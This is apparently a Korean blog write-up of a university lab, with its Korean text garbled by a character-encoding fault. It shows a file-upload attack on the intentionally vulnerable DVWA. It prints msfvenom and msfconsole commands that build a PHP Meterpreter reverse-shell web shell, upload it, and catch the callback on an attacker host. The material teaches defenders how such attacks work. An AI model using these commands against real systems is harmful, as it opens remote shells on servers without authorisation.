728x90
๋ฐ์ํ
! ์ด ํฌ์คํธ์ ๋ด์ฉ์ (2019๋ ) ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
1๏ธโฃ ์ค์ต ํ๊ฒฝ ๊ตฌ์ฑ ๋ฐ ์ค๋น
๐น1. ์ค์ต ํ๊ฒฝ ๊ตฌ์ฑ
- ``Metasploitable 2``: ์ทจ์ฝํ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ด ํฌํจ๋ ํ ์คํธ์ฉ ๊ฐ์ ๋จธ์
- ``DVWA``: ์น ๋ณด์ ํ ์คํธ๋ฅผ ์ํ ์ทจ์ฝํ PHP ๊ธฐ๋ฐ ์น ์ ํ๋ฆฌ์ผ์ด์
- ``Kali Linux``: ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉํ ์ ์๋ ์๋ฒ
๐น2. Metasploitable์ IP ์ฃผ์ ํ์ธ
- Metasploitable์ IP ์ฃผ์๋ฅผ ํ์ธํ์ฌ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๊ทผํ ์ค๋น๋ฅผ ํ๋ค.
ifconig
2๏ธโฃ DVWA ์ค์ ๋ฐ ์ ์
๐น1. DVWA ์น ํ์ด์ง ์ ์ ๋ฐ ์ค์ ๋ณ๊ฒฝ
- ์นผ๋ฆฌ ๋ฆฌ๋ ์ค์์ ๋ธ๋ผ์ฐ์ ๋ฅผ ์ด๊ณ ``Metasploitable``์ IP ์ฃผ์๋ฅผ ์ ๋ ฅํ์ฌ DVWA ์ฌ์ดํธ์ ์ ์ํ๋ค.
- ๋ก๊ทธ์ธ ํ์ด์ง์์ ๋ค์๊ณผ ๊ฐ์ด ์
๋ ฅํ์ฌ ๋ก๊ทธ์ธํ๋ค.
- Username: ``admin``
- Password: ``password``
- ๋ก๊ทธ์ธ ํ ๋ณด์ ๋ ๋ฒจ์ ``Low``๋ก ์ค์ ํ๋ค.
2๏ธโฃ ํ์ผ ์ ๋ก๋ ๊ณต๊ฒฉ ์ค์ต
๐น1. ์ ์ฑ ์น์ ์์ฑ ๋ฐ ์ ๋ก๋
์น์ ์์ฑ
- Kali Linux์์ ``msfvenom``์ ์ฌ์ฉํ์ฌ ์ ์ฑ PHP ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ค.
msfvenom -p php/meterpreter/reverse_tcp lhost=[๊ณต๊ฒฉ์ IP] lport=[๊ณต๊ฒฉ์ ํฌํธ] -f raw
- ์์ฑ๋ ์ฝ๋๋ฅผ ๋ณต์ฌํ๋ค. ์ด ๋, ๋งจ ์์ ``/*``์ ์ ์ธํ๊ณ ๋ณต์ฌํ๋ค.
- ๋ณต์ฌํ ์ฝ๋๋ฅผ ํ์ผ๋ก ์ ์ฅํ๋ค.
nano /tmp/webshell.php
DVWA์ ์น์ ์ ๋ก๋
- DVWA ์ฌ์ด๋๋ฉ๋ด์์ ``UPLOAD``๋ฅผ ์ ํ ํ ``tmp/webshell.php`` ํ์ผ์ ์ ๋ก๋ํ๋ค.
- ์ ๋ก๋๊ฐ ์ฑ๊ณตํ๋ฉด ์น์์ด ์๋ฒ์ ์ ์ฅ๋๋ค.
- ๋ง์ฝ ๋ณด์ ๋ ๋ฒจ์ด ๋์ผ๋ฉด php ํ์ผ์ด ์ ๋ก๋ ๋ถ๊ฐํ๋ค.
๐น2. ๋ฉํฐ ํธ๋ค๋ฌ ์ค์ ๋ฐ ๊ณต๊ฒฉ ์คํ
๋ฉํฐ ํธ๋ค๋ฌ ์ค์
- Kali Linux์์ ``msfconsole``์ ์คํํ๊ณ , ์๊ฒฉ ์ ์์ ๋๊ธฐํ๋ ๋ฆฌ์ค๋๋ฅผ ์ค์ ํ๋ค.
nano /root/webshell.rc
- ์๋ ๋ด์ฉ๊ณผ ๊ฐ์ด msfconsole ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅ ํ ์ ์ฅํ๋ค.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost [๊ณต๊ฒฉ์ IP]
set lport [๊ณต๊ฒฉ์ Port]
exploit
๊ณต๊ฒฉ ์คํ
- ์ค์ ๋ ๋ฆฌ์ค๋ ์คํํ๋ค.
msfconsole -r /root/webshell.rc
- ๋ธ๋ผ์ฐ์ ์์ ์ ๋ก๋๋ ์น์์ ์ ๊ทผํ์ฌ ์คํํ๋ค.
http://[URL]/dvwa/hackable/uploads/webshell.php
- Kali Linux์ ``msfconsole``์์ Meterpreter ์ธ์ ์ด ํ์ฑํ๋๋ฉด์ ์๊ฒฉ ์ ์์ด ๊ฐ๋ฅํด์ง๋ค.
728x90
๋ฐ์ํ